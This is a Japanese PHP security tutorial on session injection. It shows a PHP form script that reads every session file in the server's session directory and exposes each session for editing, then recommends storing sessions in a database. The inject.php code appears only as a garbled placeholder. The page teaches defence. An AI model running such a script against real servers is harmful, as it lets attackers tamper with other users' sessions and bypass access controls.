ホームページ >バックエンド開発 >PHPチュートリアル >PHP セキュリティ - セッションインジェクション

PHP セキュリティ - セッションインジェクション

黄舟
黄舟オリジナル
2017-02-20 09:36:151089ブラウズ



セッションインジェクション

セッションのエクスポージャと同様の問題はセッション インジェクションです。このタイプの攻撃は、Web サーバーがセッション ストレージ ディレクトリに対する読み取り権限だけでなく、書き込み権限も持っていることに基づいています。したがって、他のユーザーがセッションを追加、編集、削除できるようにするスクリプトを作成することができます。次の例は、ユーザーが既存のセッション データを簡単に編集できる HTML フォームを示しています。

<?php
 
  session_start();
 
  ?>
 
  <form action="inject.php" method="POST">
 
  <?php
 
  $path = ini_get(&#39;session.save_path&#39;);
  $handle = dir($path);
 
  while ($filename = $handle->read())
  {
    if (substr($filename, 0, 5) == &#39;sess_&#39;)
    {
      $sess_data =
file_get_contents("$path/$filename");
 
      if (!empty($sess_data))
      {
        session_decode($sess_data);
        $sess_data = $_SESSION;
        $_SESSION = array();
 
        $sess_name = substr($filename, 5);
        $sess_name = htmlentities($sess_name,
ENT_QUOTES, &#39;UTF-8&#39;);
        echo "<h1>Session
[$sess_name]</h1>";
 
        foreach ($sess_data as $name =>
$value)
        {
          $name = htmlentities($name, ENT_QUOTES,
&#39;UTF-8&#39;);
          $value = htmlentities($value, ENT_QUOTES,
&#39;UTF-8&#39;);
          echo "<p>
                $name:
                <input type=\"text\"
                name=\"{$sess_name}[{$name}]\"
                value=\"$value\" />
                </p>";
        }
 
        echo &#39;<br />&#39;;
      }
    }
  }
 
  $handle->close();
 
  ?>
 
  <input type="submit" />
  </form>


スクリプト inject.php は、フォームで指定された変更を実行します。

りー


このような攻撃は非常に危険です。攻撃者はユーザーのデータだけでなく、自分自身のセッション データも編集する可能性があります。攻撃者がすべてのセッション データを選択して変更できるため、アクセス制限やその他のセキュリティ対策をバイパスできるため、セッション ハイジャックよりも強力です。

この問題に対する最善の解決策は、セッション データをデータベースに保存することです。前のセクションで示したものを参照してください。


上記は PHP セキュリティ セッション インジェクションの内容です。さらに関連する内容については、PHP 中国語 Web サイト (www.php.cn) に注目してください。


声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。